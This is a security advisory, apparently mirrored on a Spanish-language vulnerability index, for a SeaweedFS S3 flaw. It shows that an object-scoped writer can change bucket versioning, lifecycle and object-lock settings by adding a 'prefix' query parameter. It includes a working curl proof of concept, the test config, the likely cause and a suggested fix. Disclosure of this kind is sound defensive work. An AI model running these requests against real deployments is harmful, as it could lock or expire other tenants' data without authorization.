GHSA-8RRX-349W-6396
S3: object-scoped Write grant can change bucket configuration via the prefix query parameter
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8RRX-349W-6396 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
An S3 identity that is granted only object-scoped write access (for example `"Write:cache/*"`) can change bucket-level configuration by adding an unsigned-looking but signed `prefix` query parameter to a bucket subresource request. This crosses the boundary between object write access and bucket administration.
Affected versions
- Release 4.47 (image `chrislusf/seaweedfs:4.47`).
- master at `be29f44d87448f88d842f6810a877421832dd81d` (image `chrislusf/seaweedfs:dev`, built 2026-09-26).
Deployment and configuration
- `weed server -s3 -s3.config=/etc/s3.json` with default settings; only the S3 API port (8333) is used.
- SigV4 authentication with static identities from `s3.json`:
- `admin`: `["Admin","Read","Write","List","Tagging"]`;
- `writer`: `["Read:cache","Write:cache/*","List:cache"]`.
Attacker's starting position: a valid S3 user (`writer`) whose grants are limited to objects in one bucket.
Trust boundary crossed: object-scoped `Write:<bucket>/*` is treated as sufficient for bucket configuration subresources. A tenant who may only write objects can:
- enable versioning;
- replace lifecycle rules;
- once versioning is on, set a bucket object-lock configuration, and object retention and legal hold.
With a COMPLIANCE lock and an attacker-chosen retention, the bucket's data can no longer be deleted by anyone, including the admin, until the retention expires. A lifecycle rule can expire data the tenant could not otherwise touch.
Reproduction (curl 8.x, SigV4)
S=http://127.0.0.1:8333
A=(--aws-sigv4 "aws:amz:us-east-1:s3" --user ADMINKEY0000000000:adminsecret0000000000000000000000000000)
W=(--aws-sigv4 "aws:amz:us-east-1:s3" --user WRITERKEY000000000:writersecret000000000000000000000000000)
V='<VersioningConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Status>Enabled</Status></VersioningConfiguration>'
curl -s -o /dev/null -w '%{http_code}\n' "${A[@]}" -X PUT $S/cache
curl -s -o /dev/null -w '%{http_code}\n' "${W[@]}" -X PUT --data-binary "$V" "$S/cache?versioning" # 403, as expected
curl -s -o /dev/null -w '%{http_code}\n' "${W[@]}" -X PUT --data-binary "$V" "$S/cache?versioning&prefix=x" # 200
curl -s "${A[@]}" "$S/cache?versioning" # <Status>Enabled</Status>
L='<LifecycleConfiguration><Rule><ID>x</ID><Status>Enabled</Status><Filter><Prefix></Prefix></Filter><Expiration><Days>1</Days></Expiration></Rule></LifecycleConfiguration>'
curl -s -o /dev/null -w '%{http_code}\n' "${W[@]}" -X PUT -H 'Content-Type: application/xml' --data-binary "$L" "$S/cache?lifecycle&prefix=x" # 200The s3.json used:
{"identities":[
{"name":"admin","credentials":[{"accessKey":"ADMINKEY0000000000","secretKey":"adminsecret0000000000000000000000000000"}],"actions":["Admin","Read","Write","List","Tagging"]},
{"name":"writer","credentials":[{"accessKey":"WRITERKEY000000000","secretKey":"writersecret000000000000000000000000000"}],"actions":["Read:cache","Write:cache/*","List:cache"]}
]}Expected behaviour: `PUT /cache?versioning&prefix=x` and `PUT /cache?lifecycle&prefix=x` return 403 for `writer`, as they do without `prefix`.
Actual behaviour: both return 200 and change the bucket configuration.
Likely cause (4.47 source)
- `authRequestWithAuthType` promotes the `prefix` query parameter into the object key for every action. `Write:cache/*` then matches `Write:cache/x`.
- The IAM-policy path has the same issue: `resolveFromQueryParameters` maps bucket subresources to their bucket action only when the request has no object. After promotion, `PUT ?versioning&prefix=x` resolves to `s3:PutObject`, so attached IAM policies do not contain it either.
Suggested fix: restrict the `prefix` promotion to list actions (`ACTION_LIST`), so bucket subresource requests are always authorized as their bucket-level action.
Reachable subresources for an object-only writer (observed): `versioning`, `lifecycle`, `cors`, and after versioning `object-lock`, `retention` and `legal-hold`. `policy`, `acl`, `tagging`, `encryption`, quota and bucket create/delete were not reachable in our tests.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-8rrx-349w-6396Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
